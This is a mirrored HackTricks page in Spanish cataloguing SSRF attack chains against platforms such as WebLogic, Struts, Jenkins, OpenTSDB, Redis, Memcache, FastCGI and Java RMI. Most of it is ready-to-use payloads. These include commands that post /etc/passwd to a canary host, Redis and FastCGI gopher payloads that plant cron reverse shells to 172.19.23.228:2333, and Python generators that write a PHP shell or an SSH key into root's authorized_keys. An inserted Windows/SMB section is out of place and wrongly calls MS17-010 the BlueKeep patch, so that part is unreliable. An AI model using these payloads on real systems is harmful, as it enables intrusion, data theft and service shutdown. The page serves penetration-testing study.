Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 15:12:11 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
Translator workflow 06b9602174 Translated to Spanish
2023-06-03 01:46:23 +00:00

662 lines
30 KiB
Markdown
Raw Blame History

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Esta sección fue copiada de [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
# Elasticsearch
**Puerto comúnmente utilizado: 9200**
Cuando Elasticsearch se despliega internamente, generalmente no requiere autenticación.
Si tienes un SSRF parcialmente ciego donde puedes determinar el código de estado, verifica si los siguientes endpoints devuelven un 200:
```http
/_cluster/health
/_cat/indices
/_cat/health
```
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:
Nota: la API `_shutdown` ha sido eliminada de Elasticsearch versión 2.x en adelante. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:
```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```
# Weblogic
**Puertos comúnmente enlazados: 80, 443 (SSL), 7001, 8888**
**Canario SSRF: UDDI Explorer (CVE-2014-4210)**
```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
Esto también funciona a través de GET:
```bash
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
Este endpoint también es vulnerable a la inyección de CRLF:
```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
```
Resultará en la siguiente solicitud:
```
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
```
**SSRF Canary: CVE-2020-14883**
Tomado de [aquí](https://forum.90sec.com/t/topic/1412).
Linux:
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
# Windows:
## SMB
### SMBv1
#### EternalBlue
EternalBlue es una vulnerabilidad en el protocolo SMBv1 que permite la ejecución remota de código en sistemas Windows sin autenticación. Fue utilizado en el ataque WannaCry en 2017.
#### MS17-010
MS17-010 es el parche que soluciona la vulnerabilidad EternalBlue. Si el sistema no está actualizado, es posible explotar esta vulnerabilidad para ejecutar código de forma remota.
### SMBv2 y SMBv3
#### CVE-2020-0796
CVE-2020-0796 es una vulnerabilidad en el protocolo SMBv3 que permite la ejecución remota de código en sistemas Windows 10 y Windows Server 2019. También es conocida como "SMBGhost".
## RDP
### BlueKeep
BlueKeep es una vulnerabilidad en el protocolo RDP que permite la ejecución remota de código en sistemas Windows sin autenticación. Fue descubierta en 2019 y se cree que podría ser utilizada en un ataque similar a WannaCry.
#### MS17-010
MS17-010 es el parche que soluciona la vulnerabilidad BlueKeep. Si el sistema no está actualizado, es posible explotar esta vulnerabilidad para ejecutar código de forma remota.
## DCOM
### DCOM LFI
DCOM LFI es una vulnerabilidad que permite la lectura de archivos en sistemas Windows a través del protocolo DCOM. Es posible explotar esta vulnerabilidad para obtener información sensible del sistema.
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
# Hashicorp Consul
**Puertos comúnmente utilizados: 8500, 8501 (SSL)**
Se puede encontrar una descripción detallada [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
# Shellshock
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080**
Para probar efectivamente Shellshock, puede ser necesario agregar un encabezado que contenga el payload. Las siguientes rutas CGI valen la pena probar:
Lista corta de rutas CGI para probar:
[Gist que contiene las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock a través del User Agent**
```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
# Apache Druid
**Puertos comúnmente utilizados: 80, 8080, 8888, 8082**
Ver la referencia de la API de Apache Druid [aquí](https://druid.apache.org/docs/latest/operations/api-reference.html).
Si puedes ver el código de estado, verifica las siguientes rutas para ver si devuelven un código de estado 200:
```bash
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
```
## Shutdown tasks
Este tipo de vulnerabilidad requiere adivinar los IDs de las tareas o el nombre del origen de datos para poder apagarlas.
```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```
Apague los supervisores en los Apache Druid Overlords:
```bash
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
# Apache Solr
**Puerto comúnmente utilizado: 8983**
**SSRF Canary: Parámetro Shards**
> Para agregar a lo que está diciendo shubham, escanear para solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás golpeando una instancia de solr a ciegas.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de enero de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
Tomado de [aquí](https://github.com/veracode-research/solr-injection).
```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
```
**SSRF Canary: Solr XXE (2017)**
[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
En 2017, se descubrió una vulnerabilidad de inyección XXE en Apache Solr 7.0.1 que permitía la ejecución de código.
```bash
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
```
**RCE a través de dataImportHandler**
[Investigación sobre RCE a través de dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
# PeopleSoft
**Puertos comúnmente utilizados: 80, 443 (SSL)**
Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF Canary: XXE #1**
```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
```
**Canario SSRF: XXE #2**
En algunos casos, el servidor puede estar protegido contra SSRF, pero aún puede ser vulnerable a ataques de XXE (External Entity Injection). En este caso, podemos utilizar una carga útil XXE para leer archivos del sistema y obtener información confidencial.
Para explotar esta vulnerabilidad, necesitamos encontrar una entrada que acepte XML y que se procese en el servidor. Podemos intentar enviar una carga útil XXE básica como la siguiente:
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<content>&xxe;</content>
</root>
```
Si la carga útil XXE funciona, deberíamos ver el contenido del archivo `/etc/passwd` en la respuesta del servidor. Podemos utilizar esta técnica para leer otros archivos del sistema y obtener información confidencial.
```http
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
```
# Apache Struts
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Agrega esto al final de cada endpoint/URL interno que conozcas:
```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
# JBoss
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**Canario SSRF: Desplegar WAR desde URL**
```bash
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
# Confluence
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
**Canario SSRF: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
# Jira
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
[Ticket de seguridad de Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
```bash
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
# Otros productos de Atlassian
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
**Canary SSRF: iconUriServlet (CVE-2017-9506)**:
* Bamboo < 6.0.0
* Bitbucket < 4.14.4
* Crowd < 2.11.2
* Crucible < 4.3.2
* Fisheye < 4.3.2
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
# OpenTSDB
**Puerto comúnmente utilizado: 4242**
[Ejecución remota de código en OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
**Canario SSRF: curl a través de RCE**
```bash
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```
[OpenTSDB 2.4.0 Ejecución Remota de Código](https://github.com/OpenTSDB/opentsdb/issues/2051)
**Canario SSRF: curl a través de RCE - CVE-2020-35476**
```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
# Jenkins
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8888**
Excelente artículo [aquí](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
**SSRF Canary: CVE-2018-1000600**
```bash
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
```
**RCE**
Siga las instrucciones aquí para lograr RCE a través de GET: [Hacking Jenkins Parte 2 - Abusando de la Meta Programación para RCE no autenticado!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**RCE a través de Groovy**
En algunos casos, se puede utilizar Groovy para ejecutar código arbitrario en el servidor. Esto se debe a que Groovy es un lenguaje de programación dinámico que se ejecuta en la JVM y tiene acceso a todas las clases y bibliotecas de Java.
Para explotar esta vulnerabilidad, se debe encontrar una entrada que permita la ejecución de código Groovy en el servidor. Una vez que se encuentra esta entrada, se puede enviar código Groovy malicioso que se ejecutará en el servidor.
Aquí hay un ejemplo de cómo se puede explotar esta vulnerabilidad en un servidor que utiliza Groovy:
```
POST /api/submit HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
script=def cmd = "cat /etc/passwd"; Process p = cmd.execute(); p.waitFor(); println p.text
```
En este ejemplo, se envía un script Groovy que ejecuta el comando "cat /etc/passwd" en el servidor y devuelve el resultado. Este es solo un ejemplo, y se puede enviar cualquier código Groovy malicioso para ejecutar en el servidor.
Para prevenir esta vulnerabilidad, se debe asegurar que no haya entradas que permitan la ejecución de código Groovy en el servidor. Además, se debe validar y filtrar cualquier entrada de usuario para evitar la inyección de código malicioso.
```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
# Panel de control de Hystrix
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080**
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
**Canario SSRF: CVE-2020-5412**
```bash
/proxy.stream?origin=http://SSRF_CANARY/
```
# W3 Total Cache
**Puertos comúnmente utilizados: 80, 443 (SSL)**
W3 Total Cache 0.9.2.6-0.9.3
**Canario SSRF: CVE-2019-6715**
Esto debe ser una solicitud PUT:
```bash
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
```
**SSRF Canary**
El aviso para esta vulnerabilidad fue publicado aquí: [Vulnerabilidad SSRF en W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
Este código PHP generará un payload para su host de Canary SSRF (reemplace `url` con su host de canary):
```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
```
# Docker
**Puertos comúnmente vinculados: 2375, 2376 (SSL)**
Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:
```bash
/containers/json
/secrets
/services
```
**RCE a través de la ejecución de una imagen de Docker arbitraria**
```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
```
Reemplace alpine con una imagen arbitraria que desee que el contenedor de Docker ejecute.
# Gitlab Prometheus Redis Exporter
**Puertos comúnmente vinculados: 9121**
Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la [documentación de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus y sus exportadores están activados de forma predeterminada a partir de GitLab 9.0.`
Estos exportadores proporcionan un excelente método para que un atacante pivotee y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se puede explotar fácilmente es el Redis Exporter.
El siguiente endpoint permitirá a un atacante volcar todas las claves en el servidor de redis proporcionado a través del parámetro de destino:
```bash
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
***
**Posible a través de Gopher**
# Redis
**Puerto comúnmente utilizado: 6379**
Lectura recomendada:
* [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [Explotación de SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE a través de Cron** - [Superficies de ataque de Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
Gopher:
Gopher es un protocolo de red utilizado para recuperar información de servidores remotos. A menudo se utiliza en combinación con SSRF para obtener información confidencial o para realizar ataques adicionales. El protocolo Gopher utiliza el puerto 70 y tiene una sintaxis de URL diferente a la de HTTP. Para explotar una vulnerabilidad SSRF utilizando Gopher, se puede utilizar una URL Gopher en lugar de una URL HTTP en la solicitud. Por ejemplo, en lugar de `http://example.com`, se puede utilizar `gopher://example.com`.
```bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
**RCE a través de carga de shell (PHP)** - [Resumen de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE a través de authorized\_keys** - [Resumen de la obtención de shell en Redis](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE en GitLab a través del protocolo Git**
Gran artículo de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) (en inglés).
Aunque se requiere acceso autenticado a GitLab para explotar esta vulnerabilidad, incluyo aquí el payload ya que el protocolo `git` puede funcionar en el objetivo que estás hackeando. Este payload es solo de referencia.
```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
# Memcache
**Puerto comúnmente utilizado: 11211**
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Ejemplo de carga útil Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
# Apache Tomcat
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
Efectivo solo contra Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
CTF writeup utilizando esta técnica:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
# FastCGI
**Puertos comúnmente utilizados: 80, 443 (SSL)**
Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).
```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
# Java RMI
**Puertos comúnmente vinculados: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
Las vulnerabilidades _SSRF_ ciegas que permiten bytes arbitrarios (basados en _gopher_) se pueden utilizar para realizar ataques de deserialización o de base de código en los componentes predeterminados de _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Se puede encontrar una descripción detallada [aquí](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). La siguiente lista muestra un ejemplo de generación de carga útil:
```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
